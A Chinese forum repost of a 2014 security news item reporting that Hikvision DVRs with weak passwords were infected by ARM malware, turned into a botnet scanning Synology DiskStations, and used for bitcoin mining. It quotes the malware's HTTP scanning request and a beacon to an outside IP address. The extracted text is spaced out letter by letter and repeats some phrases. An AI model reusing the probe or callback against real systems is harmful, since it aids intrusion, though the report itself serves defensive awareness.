搜索

[7925] 2014-04-02_海康威视录像机（DVR）被用于发动网络攻击和比特币挖矿

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-17
2014-04-02_海康威视录像机（DVR）被用于发动网络攻击和比特币挖矿 海 康 威 视 录 像 机 （ D V R ） 被 用 于 发 动 网 络 攻 击 和 比 特 币 挖 矿 p h p e r   F r e e B u f   2 0 1 4 - 0 4 - 0 2 上 周 安 全 人 员 通 过 一 份 报 告 得 知 ， 海 康 威 视 ( H i k v i s i o n ) 的 数 字 录 像 机 ( D V R ) 扫 描 了 他 们 设 立 的 蜜 罐 ， 这 些 数 字 录 像 机 原 本 是 用 于 储 存 安 全 探 头 的 视 频 ， 但 由 于 弱 密 码 （ 1 2 3 4 5 ） 而 被 感 染 了 病 毒 ， 变 成 了 僵 尸 网 络 的 一 部 分 。 其 被 用 于 扫 描 存 在 漏 洞 的 台 湾 群 晖 磁 盘 站 （ S y n o l o g y   D i s k S t a t i o n s ） 。 此 外 ， 数 字 录 像 机 还 被 安 装 了 比 特 币 挖 矿 程 序 。 值 得 注 意 的 是 ， 录 像 机 感 染 的 病 毒 是 A R M 二 进 制 程 序 ， 显 然 病 毒 是 专 门 针 对 A R M 设 备 而 不 是 x 8 6   L i n u x 服 务 器 。 恶 意 病 毒 发 出 的 恶 意 病 毒 发 出 的 H T T P 请 求 请 求 G E T   / w e b m a n / i n f o . c g i ? h o s t =   H T T P / 1 . 0 H o s t :   [ I P   A d d r e s s   o f   t h e   T a r g e t ] : 5 0 0 0 U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 1 ) C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   0 然 后 病 毒 会 传 送 版 本 信 息 至 然 后 病 毒 会 传 送 版 本 信 息 至 1 6 2 . 2 1 9 . 5 7 . 8 G E T   / k . p h p ? h = % l u   H T T P / 1 . 0 H o s t :   1 6 2 . 2 1 9 . 5 7 . 8 U s e r - A g e n t :   B a l l s a c k C o n n e c t i o n :   c l o s e 原 文 信 息 h t t p s : / / i s c . s a n s . e d u / f o r u m s / d i a r y / M o r e + D e v i c e + M a l w a r e + T h i s + i s + w h y + y o u r + D V R + a t t a c k e d + m y + S y n o l o g y + D i s k + S t a t i o n + a n d + n o w + w i t h + B i t c o i n + M i n e r + / 1 7 8 7 9 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理